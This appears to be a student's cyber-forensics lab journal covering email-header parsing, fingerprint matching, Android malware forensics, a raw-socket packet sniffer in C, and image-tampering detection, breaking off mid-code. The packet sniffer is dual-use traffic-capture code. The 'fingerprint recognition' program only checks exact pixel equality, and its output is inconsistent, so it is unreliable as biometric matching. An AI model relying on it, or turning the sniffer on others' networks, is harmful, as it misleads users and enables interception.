Page 23: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

Size:2

<<<<quantization ValueS: 8 13 0 0 10 5 0 0 2 8 13 0 0 10 5 0 0 2 8 13 0 0 10 5 0 0 2 8 13 0 0 10 4 0 0 2 8 14 0 0 10 4 0 0

<<<<quantization Code: 1000 1101 0 0 1010 101 0 0 10 1000

1101 0 0 1010 101 0 0 10 1000 1101 0 0 1010 101 0 0

10 1000 1101 0 0 1010 100 0 0 10 1000 1110 0 0 1010 100

0 0

[cg23@localhost ~]$

5.5 Conclusion :

In this way we studied and implemented PCM , transfer data from one PC toanother PC successfully.

Page 24: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

6 Aim :

Write a program in C++ /Python to analyze email header

6.1 Theory :

6.1.1 What is an Email Header?:

• An email consists of three vital components: the envelope, the header(s),and the body of the message.

• The envelope is something that an email user will never see since it is partof the internal process by which an email is routed.

• The body is the part that we always see as it is the actual content of themessage contained in the email.

• The header(s), the third component of an email, is perhaps a little moredifficult to explain, though it is arguably the most interesting part of anemail.

6.1.2 Header :

• In an e-mail, the body (content text) is always preceded by header linesthat identify particular routing information of the message, including thesender, recipient, date and subject.

• Some headers are mandatory, such as the FROM, TO and DATE headers.Others are optional, but very commonly used, such as SUBJECT and CC.

• In other words, any time a message is transferred from one user to another(i.e. when it is sent or forwarded), the message is date/time stamped bya mail transfer agent (MTA) - a computer program or software agent thatfacilitates the transfer of email message from one computer to another.

• This date/time stamp, like FROM, TO, and SUBJECT, becomes one ofthe many headers that precede the body of an email.

6.1.3 Header Characteristics :

A single email header has some important characteristics, including perhaps themost important part of an email - this is the KEY:VALUE pairs contained inthe header. Looking at the above, you can tell some of the KEY:VALUE pairsused. Here is a breakdown of the most commonly used and viewed headers, andtheir values:

• From: sender’s name and email address (IP address here also, but hidden).

• To: recipient’s name and email address.

• Date: sent date/time of the email.

• Subject: whatever text the sender entered in the Subject heading beforesending.

Page 25: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

6.2 Program :

import re

import email

from email.Utils import parseaddr

from email.Header import decode_header

# email address REGEX matching the RFC 2822 spec

# from perlfaq9

# my $atom = qr{[a-zA-Z0-9_!#\$\%&’*+/=?\^‘{}~|\-]+};

# my $dot_atom = qr{$atom(?:\.$atom)*};

# my $quoted = qr{"(?:\\[^\r\n]|[^\\"])*"};

# my $local = qr{(?:$dot_atom|$quoted)};

# my $domain_lit = qr{\[(?:\\\S|[\x21-\x5a\x5e-\x7e])*\]};

# my $domain = qr{(?:$dot_atom|$domain_lit)};

# my $addr_spec = qr{$local\@$domain};

#

# Python translation

atom_rfc2822=r"[a-zA-Z0-9_!#\$\%&’*+/=?\^‘{}~|\-]+"

atom_posfix_restricted=r"[a-zA-Z0-9_#\$&’*+/=?\^‘{}~|\-]+" # without ’!’ and ’%’

atom=atom_rfc2822

dot_atom=atom + r"(?:\." + atom + ")*"

quoted=r’"(?:\\[^\r\n]|[^\\"])*"’

local="(?:" + dot_atom + "|" + quoted + ")"

domain_lit=r"\[(?:\\\S|[\x21-\x5a\x5e-\x7e])*\]"

domain="(?:" + dot_atom + "|" + domain_lit + ")"

addr_spec=local + "\@" + domain

email_address_re=re.compile(’^’+addr_spec+’$’)

raw="""MIME-Version: 1.0

Received: by 10.229.233.76 with HTTP; Sat, 2 Jul 2011 04:30:31 -0700 (PDT)

Date: Sat, 2 Jul 2011 13:30:31 +0200

Delivered-To: [email protected]

Message-ID: <CAAJL_=kPAJZ=fryb21wBOALp8-XOEL-h9j84s3SjpXYQjN3Z3A@mail.gmail.com>

Subject: =?ISO-8859-1?Q?Dr.=20Pointcarr=E9?=

From: Alain Spineux <[email protected]>

To: =?ISO-8859-1?Q?Dr=2E_Pointcarr=E9?= <[email protected]>

Content-Type: multipart/alternative; boundary=000e0cd68f223dea3904a714768b

--000e0cd68f223dea3904a714768b

Content-Type: text/plain; charset=ISO-8859-1

--

Alain Spineux

--000e0cd68f223dea3904a714768b

Content-Type: text/html; charset=ISO-8859-1

Page 26: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

--

Alain Spineux

--000e0cd68f223dea3904a714768b--

"""

def getmailheader(header_text, default="ascii"):

"""Decode header_text if needed"""

try:

headers=decode_header(header_text)

except email.Errors.HeaderParseError:

# This already append in email.base64mime.decode()

# instead return a sanitized ascii string

return header_text.encode(’ascii’, ’replace’).decode(’ascii’)

else:

for i, (text, charset) in enumerate(headers):

try:

headers[i]=unicode(text, charset or default, errors=’replace’)

except LookupError:

# if the charset is unknown, force default

headers[i]=unicode(text, default, errors=’replace’)

return u"".join(headers)

def getmailaddresses(msg, name):

"""retrieve From:, To: and Cc: addresses"""

addrs=email.utils.getaddresses(msg.get_all(name, []))

for i, (name, addr) in enumerate(addrs):

if not name and addr:

# only one string! Is it the address or is it the name ?

# use the same for both and see later

name=addr

try:

# address must be ascii only

addr=addr.encode(’ascii’)

except UnicodeError:

addr=’’

else:

# address must match adress regex

if not email_address_re.match(addr):

addr=’’

addrs[i]=(getmailheader(name), addr)

return addrs

msg=email.message_from_string(raw)

subject=getmailheader(msg.get(’Subject’, ’’))

from_=getmailaddresses(msg, ’from’)

Page 27: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

from_=(’’, ’’) if not from_ else from_[0]

tos=getmailaddresses(msg, ’to’)

print ’Subject: %r’ % subject

print ’From: %r’ % (from_, )

print ’To: %r’ % (tos, )

6.3 Output :

[root@localhost ~]# python email_header123.py

Subject: u’Dr. Pointcarr\xe9’

From: (u’Alain Spineux’, ’[email protected]’)

To: [(u’Dr. Pointcarr\xe9’, ’[email protected]’)]

[root@localhost ~]#

6.4 Conclusion :

In this way we studied and implemented Email Header analyzer in PythonSuccessfully.

Page 28: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

7 Aim :

Write a program to Implement a fingerprint recognition using Java Program-ming

7.1 Theory :

7.1.1 What is a fingerprint?

• Skin on human fingerprints contains ridges and valleys which togetherforms distinctive patterns.

• These patterns are fully developed under pregnancy and are permanentthroughout whole lifetime.

• Prints of those patterns are called fingerprints.

• Injuries like cuts, burns and bruises can temporarily damage quality offingerprints but when fully healed, patterns will be restored.

• Through various studies it has been observed that no two persons havethe same fingerprints, hence they are unique for every individual.

• Due to the above mentioned properties, fingerprints are very popular asbiometrics measurements.

• Especially in law enforcement where they have been used over a hundredyears to help solve crime.

• Unfortunately fingerprint matching is a complex pattern recognition prob-lem. Manual fingerprint matching is not only time consuming but educa-tion and training of experts takes a long time.

• Therefore since 1960s there have been done a lot of effort on developmentof automatic fingerprint recognition systems.

Page 29: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

7.1.2 Fingerprint recognition:

• The method that is selected for fingerprint matching was first discoveredby Sir Francis Galton.

• In 1888 he observed that fingerprints are rich in details also called minutiaein form of discontinuities in ridges. He also noticed that position of thoseminutiae doesnt change over the time. Therefore minutiae matching are agood way to establish if two fingerprints are from the same person or not.

• The two most important minutiae are termination and bifurcation, ter-mination,which is the immediate ending of a ridge; the other is calledbifurcation, which is the point on the ridge from which two branches de-rive.

• The fingerprint recognition problem can be grouped into two sub-domains:one is fingerprint verification and the other is fingerprint identification.

7.1.3 Fingerprint Image Enhancement :

• Fingerprint Image enhancement is to make the image clearer for easyfurther operations. Since the fingerprint images acquired from sensorsor other media’s are not assured with perfect quality, those enhancementmethods, for increasing the contrast between ridges and furrows and forconnecting the false broken points of ridges due to insufficient amount ofink, are very useful for keep a higher accuracy to fingerprint recognition.

• Two Methods are adopted for image enhancement stage: 1) HistogramEqualization 2) Fourier Transform.

7.1.4 Fingerprint Image Binarization:

• Fingerprint Image Binarization is to transform the 8-bit Gray fingerprintimage to a 1-bit image with 0-value for ridges and 1-value for furrows.After the operation,ridges in the fingerprint are highlighted with blackcolor while furrows are white.

Page 30: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• A locally adaptive binarization method is performed to binarize the fin-gerprint image.

• Such a named method comes from the mechanism of transforming a pixelvalue to 1 if the value is larger than the mean intensity value of the currentblock (16x16) to which the pixel belongs.

7.1.5 Fingerprint Image Segmentation:

• In general, only a Region of Interest (ROI) is useful to be recognized foreach fingerprint image.

• The image area without effective ridges and furrows is first discarded sinceit only holds background information.

• Then the bound of the remaining effective area is sketched out since theminutia in the bound region are confusing with those spurious minutiathat are generated when the ridges are out of the sensor.

• To extract the ROI, a two-step method is used.

• The first step is block direction estimation and direction variety check,while the second is intrigued from some Morphological methods.

7.2 Program :

import java.awt.Image;

import java.awt.Toolkit;

import java.awt.image.PixelGrabber;

public class Compare {

static void processImage() {

String file1 = "p4.jpg";

String file2 = "p6.jpg";

Image image1 = Toolkit.getDefaultToolkit().getImage(file1);

Image image2 = Toolkit.getDefaultToolkit().getImage(file2);

try {

PixelGrabber grab1 =new PixelGrabber(image1, 0, 0, -1, -1, false);

PixelGrabber grab2 =new PixelGrabber(image2, 0, 0, -1, -1, false);

int[] data1 = null;

if (grab1.grabPixels()) {

int width = grab1.getWidth();

int height = grab1.getHeight();

data1 = new int[width * height];

data1 = (int[]) grab1.getPixels();

Page 31: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

System.out.println("Data 1:"+data1);

}

int[] data2 = null;

if (grab2.grabPixels()) {

int width = grab2.getWidth();

int height = grab2.getHeight();

data2 = new int[width * height];

data2 = (int[]) grab2.getPixels();

System.out.println("Data 2:"+data2);

}

System.out.println("Fingerprint matches : " + java.util.Arrays.equals(data1, data2));

} catch (InterruptedException e1) {

e1.printStackTrace();

}

}

public static void main(String args[]) {

processImage();

}

}

7.3 Output :

[root@localhost ~]# javac Compare.java

[root@localhost ~]# java Compare

Data 1:[I@6aa9f1d0

Data 2:[I@3b42c565

Fingerprint matches : true

[root@localhost ~]# javac Compare.java

[root@localhost ~]# java Compare

Data 1:[I@6aa9f1d0

Data 2:[I@3b42c565

Fingerprint matches : false

[root@localhost ~]#

7.4 Conclusion :

The reliability of any automatic fingerprint system strongly relies on the preci-sion obtained in the minutia extraction process.

Page 32: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

8 Aim :

To study the Installation and use Android Mobile Forensics Open Source Tools.

8.1 Theory :

• This toolkit is used for variety of application. Following is one of the casestudies as given and on basis of that android application is provided.

• Trustier Rapport is a fake two factor banking application that is releasedin Asia.

• It was hijacked and then used by the Zeus Gang to obtain SMS data frominfected devices.

• This application was the first analyzed by the OSAF standard and servedas the test case for the analysis process.

• The first step in analyzing the Trusteer Report application was staticanalysis.

• During static analysis we used a few tools to gain insight into what thisapplication was trying to do. The first tool we used was APK inspector.

• We used APK inspector to examinewhat permissions the application wasattempting to access on the phone.

• The application was accessing the receive sms, full internet access, andphone state and ID permissions.

• With this knowledge, we then opened the application up in the Java De-compiler.

• Through the Decompiler, we were able to analyze the actual code of theapplication.

• Through that analysis, we were able to determine that the applicationwas in fact attempting to receive sms messages and send them of a remotelocation.

• Further Dy analysis is required to confirm this. After performing the staticanalysis we had a general idea of what to look for when performing thedynamic analysis.

• The main bulk of the dynamic analysis consisted of creating two virtualandroid devices within the toolkit. With the two android VM’s runningwe installed the application onto one of the two.

• Then using our findings in the code analysis, we knew that the applicationwould be attempting to steal the content within text messages.

• After sending a text message from one device to the other and the in-fected device intercepting the message we wanted to see if there was anynetwork traffic related. into our Wired-shark captures we were able to seedistinct packets of information leaving the device containing plain texttext message information.

Page 33: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

8.1.1 Installation steps :

1. Acquire a version of VMware (http://www.vmware.com/)

2. Open the OSAF VM File by navigating to the extracted file

3. Play the file

4. If asked, the password is forensics

5. Welcome to the OSAF desktop! Refer to other sections of documentationfor extended use of the toolkit.

8.2 Conclusion :

Hence, we have successfully studied Android Mobile Forensics Open SourceTools.

Page 34: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

9 Aim :

Write a program to Implement a packet sniffing tool in C++/Java/Python.

9.1 Theory :

• Packet Sniffer: A packet sniffer (also known as a network analyzer, pro-tocol analyzer or for particular types of networks, an Ethernet sniffer orwireless sniffer) is a computer program or a piece of computer hardwarethat can intercept and log traffic passing over a digital network or part ofa network.

• As data streams ow across the network, the sniffer captures each packetand, if needed, decodes the packet’s raw data, showing the values of variousfields in the packet, and analyzes its content.

9.2 Program :

#include<netinet/in.h>

#include<errno.h>

#include<netdb.h>

#include<stdio.h> //For standard things

#include<stdlib.h> //malloc

#include<string.h> //strlen

#include<netinet/ip_icmp.h> //Provides declarations for icmp header

#include<netinet/udp.h> //Provides declarations for udp header

#include<netinet/tcp.h> //Provides declarations for tcp header

#include<netinet/ip.h> //Provides declarations for ip header

#include<netinet/if_ether.h> //For ETH_P_ALL

#include<net/ethernet.h> //For ether_header

#include<sys/socket.h>

#include<arpa/inet.h>

#include<sys/ioctl.h>

#include<sys/time.h>

#include<sys/types.h>

#include<unistd.h>

void ProcessPacket(unsigned char* , int);

void print_ip_header(unsigned char* , int);

void print_tcp_packet(unsigned char * , int );

void print_udp_packet(unsigned char * , int );

void print_icmp_packet(unsigned char* , int );

void PrintData (unsigned char* , int);

FILE *logfile;

struct sockaddr_in source,dest;

int tcp=0,udp=0,icmp=0,others=0,igmp=0,total=0,i,j;

int main()

Page 35: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

{

int saddr_size , data_size;

struct sockaddr saddr;

unsigned char *buffer = (unsigned char *) malloc(65536); //Its Big!

logfile=fopen("log.txt","w");

if(logfile==NULL)

{

printf("Unable to create log.txt file.");

}

printf("Starting...\n");

int sock_raw = socket( AF_PACKET , SOCK_RAW , htons(ETH_P_ALL)) ;

//setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );

if(sock_raw < 0)

{

//Print the error with proper message

perror("Socket Error");

return 1;

}

while(1)

{

saddr_size = sizeof saddr;

//Receive a packet

data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , (socklen_t*)&saddr_size);

if(data_size <0 )

{

printf("Recvfrom error , failed to get packets\n");

return 1;

}

//Now process the packet

ProcessPacket(buffer , data_size);

}

close(sock_raw);

printf("Finished");

return 0;

}

void ProcessPacket(unsigned char* buffer, int size)

{

//Get the IP Header part of this packet , excluding the ethernet header

struct iphdr *iph = (struct iphdr*)(buffer + sizeof(struct ethhdr));

++total;

switch (iph->protocol) //Check the Protocol and do accordingly...

{

case 1: //ICMP Protocol

++icmp;

print_icmp_packet( buffer , size);

Page 36: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

break;

case 2: //IGMP Protocol

++igmp;

break;

case 6: //TCP Protocol

++tcp;

print_tcp_packet(buffer , size);

break;

case 17: //UDP Protocol

++udp;

print_udp_packet(buffer , size);

break;

default: //Some Other Protocol like ARP etc.

++others;

break;

}

printf("TCP : %d UDP : %d ICMP : %d IGMP : %d Others : %d Total : %d\r", tcp , udp , icmp , igmp , others , total);

}

void print_ethernet_header(unsigned char* Buffer, int Size)

{

struct ethhdr *eth = (struct ethhdr *)Buffer;

fprintf(logfile , "\n");

fprintf(logfile , "Ethernet Header\n");

fprintf(logfile , " |-Destination Address : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X \n", eth->h_dest[0] , eth->h_dest[1] , eth->h_dest[2] , eth->h_dest[3] , eth->h_dest[4] , eth->h_dest[5] );

fprintf(logfile , " |-Source Address : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X \n", eth->h_source[0] , eth->h_source[1] , eth->h_source[2] , eth->h_source[3] , eth->h_source[4] , eth->h_source[5] );

fprintf(logfile , " |-Protocol : %u \n",(unsigned short)eth->h_proto);

}

void print_ip_header(unsigned char* Buffer, int Size)

{

print_ethernet_header(Buffer , Size);

unsigned short iphdrlen;

struct iphdr *iph = (struct iphdr *)(Buffer + sizeof(struct ethhdr) );

iphdrlen =iph->ihl*4;

memset(&source, 0, sizeof(source));

source.sin_addr.s_addr = iph->saddr;

memset(&dest, 0, sizeof(dest));

dest.sin_addr.s_addr = iph->daddr;

fprintf(logfile , "\n");

Page 37: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

fprintf(logfile , "IP Header\n");

fprintf(logfile , " |-IP Version : %d\n",(unsigned int)iph->version);

fprintf(logfile , " |-IP Header Length : %d DWORDS or %d Bytes\n",(unsigned int)iph->ihl,((unsigned int)(iph->ihl))*4);

fprintf(logfile , " |-Type Of Service : %d\n",(unsigned int)iph->tos);

fprintf(logfile , " |-IP Total Length : %d Bytes(Size of Packet)\n",ntohs(iph->tot_len));

fprintf(logfile , " |-Identification : %d\n",ntohs(iph->id));

//fprintf(logfile , " |-Reserved ZERO Field : %d\n",(unsigned int)iphdr->ip_reserved_zero);

//fprintf(logfile , " |-Dont Fragment Field : %d\n",(unsigned int)iphdr->ip_dont_fragment);

//fprintf(logfile , " |-More Fragment Field : %d\n",(unsigned int)iphdr->ip_more_fragment);

fprintf(logfile , " |-TTL : %d\n",(unsigned int)iph->ttl);

fprintf(logfile , " |-Protocol : %d\n",(unsigned int)iph->protocol);

fprintf(logfile , " |-Checksum : %d\n",ntohs(iph->check));

fprintf(logfile , " |-Source IP : %s\n",inet_ntoa(source.sin_addr));

fprintf(logfile , " |-Destination IP : %s\n",inet_ntoa(dest.sin_addr));

}

void print_tcp_packet(unsigned char* Buffer, int Size)

{

unsigned short iphdrlen;

struct iphdr *iph = (struct iphdr *)( Buffer + sizeof(struct ethhdr) );

iphdrlen = iph->ihl*4;

struct tcphdr *tcph=(struct tcphdr*)(Buffer + iphdrlen + sizeof(struct ethhdr));

int header_size = sizeof(struct ethhdr) + iphdrlen + tcph->doff*4;

fprintf(logfile , "\n\n***********************TCP Packet*************************\n");

print_ip_header(Buffer,Size);

fprintf(logfile , "\n");

fprintf(logfile , "TCP Header\n");

fprintf(logfile , " |-Source Port : %u\n",ntohs(tcph->source));

fprintf(logfile , " |-Destination Port : %u\n",ntohs(tcph->dest));

fprintf(logfile , " |-Sequence Number : %u\n",ntohl(tcph->seq));

fprintf(logfile , " |-Acknowledge Number : %u\n",ntohl(tcph->ack_seq));

fprintf(logfile , " |-Header Length : %d DWORDS or %d BYTES\n" ,(unsigned int)tcph->doff,(unsigned int)tcph->doff*4);

//fprintf(logfile , " |-CWR Flag : %d\n",(unsigned int)tcph->cwr);

//fprintf(logfile , " |-ECN Flag : %d\n",(unsigned int)tcph->ece);

fprintf(logfile , " |-Urgent Flag : %d\n",(unsigned int)tcph->urg);

fprintf(logfile , " |-Acknowledgement Flag : %d\n",(unsigned int)tcph->ack);

fprintf(logfile , " |-Push Flag : %d\n",(unsigned int)tcph->psh);

fprintf(logfile , " |-Reset Flag : %d\n",(unsigned int)tcph->rst);

fprintf(logfile , " |-Synchronise Flag : %d\n",(unsigned int)tcph->syn);

fprintf(logfile , " |-Finish Flag : %d\n",(unsigned int)tcph->fin);

fprintf(logfile , " |-Window : %d\n",ntohs(tcph->window));

fprintf(logfile , " |-Checksum : %d\n",ntohs(tcph->check));

fprintf(logfile , " |-Urgent Pointer : %d\n",tcph->urg_ptr);

fprintf(logfile , "\n");

Page 38: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

fprintf(logfile , " DATA Dump ");

fprintf(logfile , "\n");

fprintf(logfile , "IP Header\n");

PrintData(Buffer,iphdrlen);

fprintf(logfile , "TCP Header\n");

PrintData(Buffer+iphdrlen,tcph->doff*4);

fprintf(logfile , "Data Payload\n");

PrintData(Buffer + header_size , Size - header_size );

fprintf(logfile , "\n###########################################################");

}

void print_udp_packet(unsigned char *Buffer , int Size)

{

unsigned short iphdrlen;

struct iphdr *iph = (struct iphdr *)(Buffer + sizeof(struct ethhdr));

iphdrlen = iph->ihl*4;

struct udphdr *udph = (struct udphdr*)(Buffer + iphdrlen + sizeof(struct ethhdr));

int header_size = sizeof(struct ethhdr) + iphdrlen + sizeof udph;

fprintf(logfile , "\n\n***********************UDP Packet*************************\n");

print_ip_header(Buffer,Size);

fprintf(logfile , "\nUDP Header\n");

fprintf(logfile , " |-Source Port : %d\n" , ntohs(udph->source));

fprintf(logfile , " |-Destination Port : %d\n" , ntohs(udph->dest));

fprintf(logfile , " |-UDP Length : %d\n" , ntohs(udph->len));

fprintf(logfile , " |-UDP Checksum : %d\n" , ntohs(udph->check));

fprintf(logfile , "\n");

fprintf(logfile , "IP Header\n");

PrintData(Buffer , iphdrlen);

fprintf(logfile , "UDP Header\n");

PrintData(Buffer+iphdrlen , sizeof udph);

fprintf(logfile , "Data Payload\n");

//Move the pointer ahead and reduce the size of string

PrintData(Buffer + header_size , Size - header_size);

fprintf(logfile , "\n###########################################################");

Page 39: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

}

void print_icmp_packet(unsigned char* Buffer , int Size)

{

unsigned short iphdrlen;

struct iphdr *iph = (struct iphdr *)(Buffer + sizeof(struct ethhdr));

iphdrlen = iph->ihl * 4;

struct icmphdr *icmph = (struct icmphdr *)(Buffer + iphdrlen + sizeof(struct ethhdr));

int header_size = sizeof(struct ethhdr) + iphdrlen + sizeof icmph;

fprintf(logfile , "\n\n***********************ICMP Packet*************************\n");

print_ip_header(Buffer , Size);

fprintf(logfile , "\n");

fprintf(logfile , "ICMP Header\n");

fprintf(logfile , " |-Type : %d",(unsigned int)(icmph->type));

if((unsigned int)(icmph->type) == 11)

{

fprintf(logfile , " (TTL Expired)\n");

}

else if((unsigned int)(icmph->type) == ICMP_ECHOREPLY)

{

fprintf(logfile , " (ICMP Echo Reply)\n");

}

fprintf(logfile , " |-Code : %d\n",(unsigned int)(icmph->code));

fprintf(logfile , " |-Checksum : %d\n",ntohs(icmph->checksum));

//fprintf(logfile , " |-ID : %d\n",ntohs(icmph->id));

//fprintf(logfile , " |-Sequence : %d\n",ntohs(icmph->sequence));

fprintf(logfile , "\n");

fprintf(logfile , "IP Header\n");

PrintData(Buffer,iphdrlen);

fprintf(logfile , "UDP Header\n");

PrintData(Buffer + iphdrlen , sizeof icmph);

fprintf(logfile , "Data Payload\n");

//Move the pointer ahead and reduce the size of string

PrintData(Buffer + header_size , (Size - header_size) );

fprintf(logfile , "\n###########################################################");

}

Page 40: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

void PrintData (unsigned char* data , int Size)

{

int i , j;

for(i=0 ; i < Size ; i++)

{

if( i!=0 && i%16==0) //if one line of hex printing is complete...

{

fprintf(logfile , " ");

for(j=i-16 ; j<i ; j++)

{

if(data[j]>=32 && data[j]<=128)

fprintf(logfile , "%c",(unsigned char)data[j]); //if its a number or alphabet

else fprintf(logfile , "."); //otherwise print a dot

}

fprintf(logfile , "\n");

}

if(i%16==0) fprintf(logfile , " ");

fprintf(logfile , " %02X",(unsigned int)data[i]);

if( i==Size-1) //print the last spaces

{

for(j=0;j<15-i%16;j++)

{

fprintf(logfile , " "); //extra spaces

}

fprintf(logfile , " ");

for(j=i-i%16 ; j<=i ; j++)

{

if(data[j]>=32 && data[j]<=128)

{

fprintf(logfile , "%c",(unsigned char)data[j]);

}

else

{

fprintf(logfile , ".");

}

}

fprintf(logfile , "\n" );

}

}

}

Page 41: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

9.3 Output :

[root@localhost ~]# g++ ps.cpp

[root@localhost ~]# ./a.out

Starting...

TCP : 4159 UDP : 22436 ICMP : 0 IG^[MP : 12 Others : 14182 Total : 407TCP : 4159^[ UDP : 22556 ICMP : 0 IGMP : 12 Others : 14252 Total : 409

9.4 Conclusion :

Hence, we have successfully studied concept of Packet Sniffer.

Page 42: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

10 Aim :

Write a program for identifying the image tampering,voice data tampering usingpython programming.

10.1 Theory :

• The rapid growth of image editing softwares has given rise to large amountsof doctored images circulating in our daily lives, generating a great de-mand for automatic forgery detection algorithms in order to determinethe authenticity of a candidate image in a timely fashion.

• A good forgery detection algorithm should be passive and blind, requiringno extra prior knowledge of the image content or any embedded water-marks.

• By analyzing the abnormal behaviors of doctored images from authenticimages, one can design forgery detectors based on a collection of cues inthe image formation process.

• In this thesis, we first present a fully automatic consistency checking al-gorithm for detecting arbitrarily-shaped splicing areas in a digital image.

• We specifically study the Camera Response Function (CRF), a funda-mental property in cameras mapping input irradiance to output imageintensity.

• A test image is first automatically segmented into distinct areas. OneCRF is estimated from each area using geometric invariants from LocallyPlanar Irradiance Points (LPIPs).

• To classify a boundary segment between two areas as authentic or spliced,CRF-based cross

t- ting and local image features are computed and fed to statistical clas-sifiers.

• Such segment-level scores are further fused to infer the image-level au-thenticity decision. Tests on two benchmark data sets reach performancelevels of 70 percent precision and 70 percent recall, showing promisingpotential for real-world applications.

• Moreover, we examine individual features and discover the key factor insplicing detection.

10.1.1 Tampering Operation Identification :

• Beyond image level binary decisions, image forensics is also concernedwith many technical questions. One interesting task is to identify whichspecific tampering operations have been utilized in the manipulation ofthe candidate image.

• This provides deeper understanding of the doctored image than just aplain binary decision.

Page 43: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

• Identification of a specific manipulation used also allows exible interpre-tation if acceptable operations in practical applications.

• For example, knowing that an image has gone through a skin tone ad-justment helps the analysts decide an image is acceptable in consumerapplications but not journalistic publishing.

10.2 Program :

import sys

from PIL import Image, ImageFilter, ImageDraw

import operator as op

from optparse import OptionParser

def Dist(p1,p2):

"""

Euclidean distance between 2 points

"""

x1, y1 = p1

x2, y2 = p2

return (((x1-x2)*(x1-x2)) + ((y1-y2)*(y1-y2)))**0.5

def intersectarea(p1,p2,size):

"""

Given 2 boxes, this function returns intersection area

"""

x1, y1 = p1

x2, y2 = p2

ix1, iy1 = max(x1,x2), max(y1,y2)

ix2, iy2 = min(x1+size,x2+size), min(y1+size,y2+size)

iarea = abs(ix2-ix1)*abs(iy2-iy1)

if iy2 < iy1 or ix2 < ix1: iarea = 0

return iarea

def Hausdorff_distance(clust1, clust2, forward, dir):

"""

Function measures distance between 2 sets. (Some kind of non-similarity between 2 sets if you like).

It is modified Hausdorff distance, because instead of max distance - average distance is taken.

This is done for function being more error-prone to cluster coordinates.

"""

if forward == None:

return max(Hausdorff_distance(clust1,clust2,True,dir),Hausdorff_distance(clust1,clust2,False,dir))

else:

clstart, clend = (clust1,clust2) if forward else (clust2,clust1)

dx, dy = dir if forward else (-dir[0],-dir[1])

return sum([min([Dist((p1[0]+dx,p1[1]+dy),p2) for p2 in clend]) for p1 in clstart])/len(clstart)

def hassimilarcluster(ind, clusters):

"""

For given cluster tells does it have twin cluster in image or not.

Page 44: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

"""

item = op.itemgetter

global opt

found = False

tx = min(clusters[ind],key=item(0))[0]

ty = min(clusters[ind],key=item(1))[1]

for i, cl in enumerate(clusters):

if i != ind:

cx = min(cl,key=item(0))[0]

cy = min(cl,key=item(1))[1]

dx, dy = cx - tx, cy - ty

specdist = Hausdorff_distance(clusters[ind],cl,None,(dx,dy))

if specdist <= int(opt.rgsim):

found = True

break

return found

def blockpoints(pix, coords, size):

"""

Generator of pixel colors of given block.

"""

xs, ys = coords

for x in range(xs,xs+size):

for y in range(ys,ys+size):

yield pix[x,y]

def colortopalette(color, palette):

"""

Convert given color into palette color.

"""

for a,b in palette:

if color >= a and color <= b:

return b

def imagetopalette(image, palcolors):

"""

Convert given image into custom palette colors

"""

assert image.mode == ’L’, "Only grayscale images supported !"

